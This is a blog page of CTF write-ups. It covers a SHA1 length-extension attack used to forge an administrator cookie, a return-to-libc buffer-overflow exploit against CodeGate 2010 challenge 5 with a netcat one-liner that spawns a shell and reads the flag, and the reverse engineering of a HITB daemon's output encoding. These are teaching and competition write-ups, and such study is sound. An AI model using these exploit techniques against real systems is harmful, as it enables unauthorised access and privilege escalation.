CodeGate 2010 Challenge 15 – SHA1 padding attack
March 16, 2010 by RD · Leave a Comment
Summary
This is a web based crypto challenge vulnerable to padding/length extension attack in its sha1 based authentication scheme.
Analysis
Challenge URL: http://ctf1.codegate.org/03c1e338b6445c0f127319f5cb69920a/web1.php
This page will ask for submitting a username for the first time. Once a username is submited ( ‘aaaa’ for example), the script will set a cookie as the following:
web1_auth = YWFhYXwx|8f5c14cc7c1cd461f35b190af57927d1c377997e
The first part YWFhYXwx is the base64 encoded string of ‘aaaa|1′ (username|role). The second part 8f5c14cc7c1cd461f35b190af57927d1c377997e is the sha1(unknown_secretkey + username + role).
In the next visit, the web1.php script will check for the cookie and return the following message
“Welcome back, aaaa! You are not the administrator.”
We can guest that 1 is the role value for normal user and 0 for administrator.
Solution
If we try to modify to first part of the web1_auth cookie to something like base64_encode(’aaaa|0′), the script will return an error message saying that the data has been tampered due to the wrong signature.
As we know that popular hash functions including sha1 are vulnerable to length extension (or padding) attacks. This can be used to break naive authentication schemes based on hash functions.
I will not write the detail on how to do sha1 length extension attack, you can read papers in the References section below for more information. Basically, with padding attack, we can append arbitrary data to the cookie and generate a valid signature for it without knowing the secret key. In this challenge, we want to have ‘|0′ (administrator role) at the end of the first part of the cookie.
$ python sha-padding.py
usage: sha-padding.py <keylen> <original_message> <original_signature> <text_to_append>$ python sha-padding.py 25 ‘aaaa|1′ 8f5c14cc7c1cd461f35b190af57927d1c377997e ‘|0′
new msg: ‘aaaa|1\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf8|0′
base64: YWFhYXwxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4fDA=
new sig: 70f8bf57aa6d7faaa70ef17e763ef2578cb8d839
And here is what we got with the web1_auth cookie using YWFhYXwxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4fDA= and signature 70f8bf57aa6d7faaa70ef17e763ef2578cb8d839
Welcome back, aaaa! Congratulations! You did it! Here is your flag: CryptoNinjaCertified!!!!!
Source Codes
- http://force.vnsecurity.net/download/rd/shaext.py
- http://force.vnsecurity.net/download/rd/sha-padding.py
- http://force.vnsecurity.net/download/rd/sha.py (this one taken from pypy lib)
References
- http://en.wikipedia.org/wiki/Cryptographic_hash_function
- Flickr’s API Signature Forgery Vulnerability
- G. Tsudik, “Message authentication with one-way hash functions,” Proceedings of Info-com 92.
Keywords: sha1, padding, length extension attack, codegate 2010
Codegate 2010 online CTF – Challenge 4 & 5 writeup
March 16, 2010 by longld · Leave a Comment
Summary
Challenge 4 has a basic buffer overflow vulnerability running on modern Ubuntu Linux with ASLR. Challenge 5 shares the same code as Challenge 4 but added NX protection to make it harder. In challenge 4 we use ret2eax to by pass ASLR and return-to-libc technique to bypass NX in challenge 5 with brute-forcing for execl() libc address. We had to access to the server (hijack account of Challenge #2) to search for execl() address, it’s weakness of our solution for challenge 5.
Analysis
Challenge 4 information:
credentials: ctf4.codegate.org 9000
BINARY FILE: http://ctf.codegate.org/files____/easy
Challenge 5 information:
credentials: ctf4.codegate.org 9001
BINARY FILE: http://ctf.codegate.org/files____/harder
Both “easy” and “harder” share the same code which looks like below:
int __cdecl main()
{
size_t n; // [sp+18h] [bp-8h]@1
char *lineptr; // [sp+1Ch] [bp-4h]@1
lineptr = 0;
printf("Input: ");
fflush(0);
getline(&lineptr, &n, stdin);
func(lineptr, n);
return puts("\nThanks. Goodbye");
}
void *__cdecl func(const void *src, size_t n)
{
char dest[264]; // [sp+10h] [bp-108h]@1
return memcpy(dest, src, n);
}
The traditional BOF at memcpy() in func() with 272 bytes allows us to overwrite the saved EIP to control program execution. Exploit for “easy” is obvious, you can find a writeup here, remain of this post will talk about Challenge 5.
The problem for exploiting ‘harder’ is to bypass:
- ASLR
- NX protection
We will use return-to-libc technique to overcome that.
Solution/Exploit
In order to exploit the “harder” we have to:
- Locate address of execl() function in libc
- Locate address of “/bin/sh” somewhere in memory
- Arrange stack to call execl(”/bin/sh”, …) when return from func()
Locate address of execl()
Based on our experience in Padocon 2010 pre-qual, we know that random mmap library address will repeat after several run.
$ gdb harder
(gdb) start
Temporary breakpoint 1, 0x0804850e in main ()
(gdb) p execl
$1 = {<text variable, no debug info>} 0x1a70c0 <execl>
(gdb) quit
Locate address of “/bin/sh”
There’s several way to find “/bin/sh” pointer according to other contestants discussed in #codegate IRC:
- Find “/bin/sh” address in RO_DATA of libc
- Put “/bin/sh” in our input buffer then find stack address that points to it (address of “dest” in func())
- Put “/bin/sh” in our input buffer then re-use “*lineptr” (already point to our buffer) remain in stack. This is our method.
Let examine the stack when we’re in func():
(gdb) disass func
Dump of assembler code for function func:
0x080484e4 <func+0>: push ebp
0x080484e5 <func+1>: mov ebp,esp
0x080484e7 <func+3>: sub esp,0x118
0x080484ed <func+9>: mov eax,DWORD PTR [ebp+0xc] <-- n
0x080484f0 <func+12>: mov DWORD PTR [esp+0x8],eax
0x080484f4 <func+16>: mov eax,DWORD PTR [ebp+0x8] <-- src's address (*lineptr)
0x080484f7 <func+19>: mov DWORD PTR [esp+0x4],eax
0x080484fb <func+23>: lea eax,[ebp-0x108] <-- dest's address
0x08048501 <func+29>: mov DWORD PTR [esp],eax
0x08048504 <func+32>: call 0x80483f8 <memcpy@plt>
0x08048509 <func+37>: leave
0x0804850a <func+38>: ret
End of assembler dump.
(gdb) b *0x08048504
Breakpoint 1 at 0x8048504
(gdb) r
Starting program: /tmp/harder
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x08048504 in func ()
(gdb) x/20x $ebp
0xbffff738: 0xbffff768 0x08048568 0x0804b008 0x00000078
[*lineptr] (2)
0xbffff748: 0x00d5b420 0xbffff768 0x00c49345 0x006c2d20
0xbffff758: 0x00000078 0x0804b008 0x08048590 0x00000000
[*lineptr] (1) [garbage str]
0xbffff768: 0xbffff7e8 0x00c30b56 0x00000001 0xbffff814
0xbffff778: 0xbffff81c 0xb7fff858 0xbffff7d0 0xffffffff
(gdb) x/8x 0x0804b008
0x804b008: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b018: 0x41414141 0x41414141 0x41414141 0x41414141
Address of *lineptr is 0×0804b008 which point to our buffer. There’s two instances of *lineptr address on stack: (1) returned from getline(), (2) placed before calling func(). The (2) address is useless because it’s next to ret, the (1) address with next 2 addresses 0×08048590, 0×00000000 is perfect for execl(). What we need to do is lift the esp to correct address with few ret.
Arrange buffer & stack
With all the things above, we can craft our buffer as below:
["/bin/sh" | padding | ret*6 | execl() | "\n"]
This will result on stack when return from func():
[ret*6 | execl() | 0xdeadbeef | "/bin/sh" | "garbage string" | 0 ]
Exploit
while true; do (python -c 'print "/bin/sh\x00" + "A"*260 + "\x75\x85\x04\x08"*6 + "\xc0\x70\x1a\x00" + "\n"'; cat) | nc ctf4.codegate.org 9001 done Input: Input: Input: id uid=1004(harder) gid=1004(harder) cat /home/harder/flag.txt e2e4cb6adc9cd761dcde774f84529591 -
References
Keywords: return-to-libc, aslr, esp lifting, codegate 2010
We got 2nd place at CodeGate 2010 Prequal
March 16, 2010 by admin · Leave a Comment
Just a quick post to announce that our CLGT CTF team has finished 2nd place at CodeGate 2010 Capture the Flag Prequal. It was a nice game with some very interesting challenges.
The final ranking could be found here

We will post our write up on our blog soon.
HITB Daemon1 Solution
Here is my next solution for HITB CTF 2009 Daemon1. Similar to daemon 6, the flag is the content of errorcode.txt file located in the same directory with daemon’s binary.
home suto # netstat -tulpan Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 6174/daemon1
So you can see it listens on port 4444. Next I tried to find where the daemon processes my input.
.text:080494F1 push eax .text:080494F2 call _recv .text:080494F7 add esp, 10h .text:080494FA cmp eax, 0 .text:080494FD jle loc_80495D2 .text:08049503 push esi .text:08049504 push eax .text:08049505 lea esi, [ebp-538h] .text:0804950B push esi .text:0804950C mov ecx, [ebp-548h] .text:08049512 push ecx .text:08049513 call sub_804A2B0 .text:08049518 mov eax, offset aIcvykbmukcrwdp ; "iCvYkBMuKcrwDPkAqmCFgOKVeV34" .text:0804951D mov ecx, 1Ch .text:08049522 cld .text:08049523 mov esi, [ebp-560h] .text:08049529 mov edi, eax .text:0804952B repe cmpsb .text:0804952D setnbe dl .text:08049530 setb al .text:08049533 add esp, 10h .text:08049536 cmp dl, al .text:08049538 jnz loc_80495FF .text:0804953E call sub_8048F10 .text:08049543 push 0 .text:08049545 sub esp, 8 .text:08049548 push offset s .text:0804954D call _strlen .text:08049552 add esp, 0Ch .text:08049555 push eax .text:08049556 push offset s .text:0804955B .text:0804955B loc_804955B: ; CODE XREF: .text:08049608j .text:0804955B mov edx, [ebp-548h] .text:08049561 push edx .text:08049562 call _send
And here is what sub_8048F10 does:
lea edi, [ebp+var_40] mov esi, offset unk_80553D2 mov ecx, edx rep movsd mov ax, ds:word_80553EA mov [edi], ax push (offset aSocketError+0Bh) ; modes push offset filename ; "/home/d1/errorcode.txt" call _fopen <snip>
The code compares “iCvYkBMuKcrwDPkAqmCFgOKVeV34” with the input string. If it’s matched, the encrypted content of errorcode.txt will be returned.
home suto #nc localhost 4444 iCvYkBMuKcrwDPkAqmCFgOKVeV34 ddddddddddPfddddfdssqpfdddddddddhfh
“ddddddddddPfddddfdssqpfdddddddddhfh” is the return data. It’s the encrypted content of errorcode.txt (which is “1″ in this case).
After few hours trying to reverse the binary, I got stuck with the encoding algorithm so I tried to analysis the output data instead.
Input: 1
Ouput: ddddddddddPfddddfdssqpfdddddddddhfh
Input: 2
Output: ddddddddddPfdddddfdssqpfhfh
Input: 3
Output: ddddddddddPfdddddfdssqpfdhfh
Input: 4
Output: ddddddddddPfdddddfdssqpfddhfh
==>Output string begins with ddddddddddPfdddddfdssqpf and ends with hfh, number 1 is the special case.
9
ddddddddddPfdddddfdssqpfdddddddhfh
Next, we test with 2 numbers:
24
ddddddddddPfdddddfdssqpfhddhfh
3 numbers:
247
ddddddddddPfdddddfdssqpfhddhdddhfh
We can see that the string with red color is the same as the output for 24, and the green part is addition part for 7, so I guess h is character to begin a new number, let’s see with 6 numbers:
247398
ddddddddddPfdddddfdssqpfhddhdddhqqqqhddddddhqhfh
Now the algorithm is more clear :), the length of input number is the number of ‘h’ in the encoded data + 1 (we don’t count the last ‘hfh’). But how about q and d?
From 247398:
ddddddddddPfdddddfdssqpfhddhdddhqqqqhddddddhqhfh
4 is hdd
7 is hddd
3 is hqqqq
9 is hdddddd
8 is hq
Yeah! when the next number is increased, it uses a d for +1 (7 = 4 + 3 = hddd).
q is used for decrease (-1).
35896742
ddddddddddPfdddddfdssqp fd[3] hdd[5] hddd[8] hd[9] hqqq[6] hd[7] hqqq[4] hqq[2]hfh
Why 3? You answer yourself !
Now we come back to special cases for number 1 and 0
358967421
ddddddddddPfdddddfddddfdsssqpfdhddhdddhdhqqqhdhqqqhqqhfdddddddddhfh
Here is output for 35896742
ddddddddddPfdddddfdssqpfdhddhdddhdhqqqhdhqqqhqqhfh
The different parts are marked with Red color.
Put 1 in the middle:
3589617421
ddddddddddPfdddddfddddfdsssqpfdhddhdddhdhqqqhfdddddddddhsdhqqqhqqhfhfh
358967421
ddddddddddPfdddddfddddfdsssqpfdhddhdddhdhqqqhdhqqqhqqhfdddddddddhfh
35896742
ddddddddddPfdddddfdssqpfdhddhdddhdhqqqhdhqqqhqqhfh
So the output will be fdddddddddh for number 1. If 1 is in the middle, it will be dddfds.
And another notes is hsd , one “d” character because it is calculated from the number before “1″ – 6- and increases it to -7-.
Another test:
4668981445134
ddddddddddPfdddddfddddfdsssqpfdd(4)hdd(6)h(6)hdd(8)hd(9)hq(8)hfddddddddd(1)hsqqqq(4)h(4)
hd(5) hf(1)hs qq(3) hd(4) hffh
Now replace the number 1 with 0 from previous input:
ddddddddddPfdddddfddddfdsssqpfdd(4)hdd(6)h(6)hdd(8)hd(9)hq(8)hfdddddddd(0)hsqqqq(4)h(4)hd(5)
hf(0)hsqq(3) hd(4)hffh
We see 0 is quite similar to 1 with one ‘d’ less.
Now it’s just a simple task to decode the return content of errorcode.txt (flag) from the daemon.
And it’s all about daemon1 in HITB CTF 2009!
New Blog.
December 19, 2009 by Xwings · Leave a Comment
This will be my official blog.
More updates …. soon.


